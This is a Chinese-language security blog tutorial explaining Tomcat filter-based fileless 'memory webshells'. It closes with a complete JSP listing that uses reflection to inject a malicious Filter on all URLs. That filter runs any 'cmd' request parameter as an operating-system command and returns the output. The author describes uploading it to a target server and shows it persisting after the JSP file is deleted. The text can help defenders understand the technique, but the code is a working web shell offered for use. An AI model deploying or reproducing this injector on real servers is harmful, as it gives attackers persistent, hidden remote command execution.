标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3263]   作者: 小螺号 发表于: [2023-02-02]

本文共 [398] 位读者顶过

内存马是什么

顾名思义,就是运行在内存中的木马。跟传统的webshell相比,没有实体文件。个人总结是利用漏洞或上传解析j的方式添加的恶意路由,只要能成功添加,那么这个路由的数据处理逻辑是我们可以自定义的。例如:/cmd路由->get(post)获取参数cmd->eval或者exec(cmd),就能成为一个无文件的webshell,也就是内存马。

[出自:jiwo.org]


今天我就以JavaWeb 中的 Tomcat 容器的内存马为例,由浅至深带大家入门,并带大家手写一个内存马。这个内存马是看的风轩师傅的,网上一查就有。不过我看是适配linux的,所以改写成了适配windows的。 就像上面所说的 , 我就以 JavaWeb 、Tomcat 、实际编写 这个顺序一点一点说。因为是简单的不涉及框架的基础web程序,所以不会涉及MVC,微服务之类。大佬们就当是对旧时代的缅怀吧。别喷我了,我很菜。

Filter

首先我们需要了解web应用程序是怎么运行的。以JavaWeb为例,基础的web应用程序至少有以下几个重要组件: Servlet,Filter,Linstener 其中的关系在下面图中web应用方框里: 


因为今天要讲的是filter型内存马。所以先重点讲下filter(过滤器)。想了解其他两个的可以去B站搜楠哥看他的JavaWeb系列视频。还是很好的,句句都是干货。 Filter 过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,一般用来过滤数据。 通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。 创建一个filter需要先创建类文件,实现Filter接口:



再将filter配置进web.xml里



编译,运行后就可以访问filter了

当然,在正常业务中Filter大部分用作公共代码的提取,可以对request和response中的方法进行增强(装饰者模式/动态代理),或者进行权限控制,数据过滤等。其他主要业务功能还得servlet来控制。 **而且web应用程序都是已经编译好了正在运行中的。也就是java中常说的运行时状态。不会给我们重启,再编译的机会。**所以接下来就要讲到Tomcat了。

Tomcat

Tomcat 是一个免费的、开源的、轻量级的 Web 应用服务器。适合在并发量不是很高的中小企业项目中使用。Tomcat 的核心功能有两个,分别是负责接收和反馈外部请求的连接器 Connector,和负责处理请求的容器 Container。其中连接器和容器相辅相成,一起构成了基本的 web 服务 Service。每个 Tomcat 服务器可以管理多个 Service。我们今天要利用到Tomcat中的catalina.jar与tomcat-util-scan.jar包。 catalina.jar包中如下四个类能引用运行时的web应用、应用程序上下文、应用程序filter配置、容器对象上下文等等。 

tomcat-util-scan.jar包中的如下两个类能给予我们动态定义初始化filter,添加映射关系的方法。 


JSP内存马编写

有了以上的基础概念就可以开始写JSP内存马了。 首先,导入相关包,类 

先从运行时的上下文获取filterConfigs。也就是通过反射读取web应用程序目前的filter配置。整个流程是从全局servlet上下文 -- > 当前web应用上下文 -- > 当前路径默认的上下文 --> 获取配置 --> 获取filter配置。 

然后按filter名查看我们要注入的filter是否存在 

不存在的话,就创建我们的恶意filter。(里头的恶意代码最后全部代码里有,截图截不全)。注意doFilter最后写上filterChain.doFilter方法,交给下一个过滤器或servlet处理。不然会报错 

最后进行配置 

绿框中是添加进当前应用上下文的filter配置里。 到此为止,我们的filter型内存马就写完了。只要上传到目标服务器,访问解析一下,即可添加恶意filter。下面是演示截图。 

可以看见当前是没有cmd这个参数相关的filter去处理我的ipconfig命令的, 然后我们访问,让服务器解析一下我们注入恶意内存马的jsp。 


注入成功后,再尝试一下 


成功注入内存马,然后我们将服服务器的恶意jsp删掉。 

再访问我们的内存马 


成功


全篇代码

<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "taamr"; //Filter过滤器名字
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    Process process = null;
                    BufferedReader bufferedReader = null;
                    BufferedReader bufferedReaderError = null;
                    StringBuilder result = new StringBuilder();
                    String line ;
                    try {
                        process = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),request.getParameter("cmd"));
                        process.waitFor();
                        bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
                        bufferedReaderError = new BufferedReader(new InputStreamReader(process.getErrorStream(),"GBK"));
                        while ((line=bufferedReader.readLine())!=null){
                            result.append(line).append("\n");
                        }
                        while ((line = bufferedReaderError.readLine()) != null) {
                            result.append(line).append('\n');
                        }
                        servletResponse.setContentType("application/json;charset=UTF-8");
                        servletResponse.getWriter().write(result.toString());
                    } catch (Exception e) {
                        e.printStackTrace();
                    }finally {
                        bufferedReader.close();
                        bufferedReaderError.close();
                        process.destroy();
                    }
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

评论

暂无
发表评论
 返回顶部 
热度(398)
 关注微信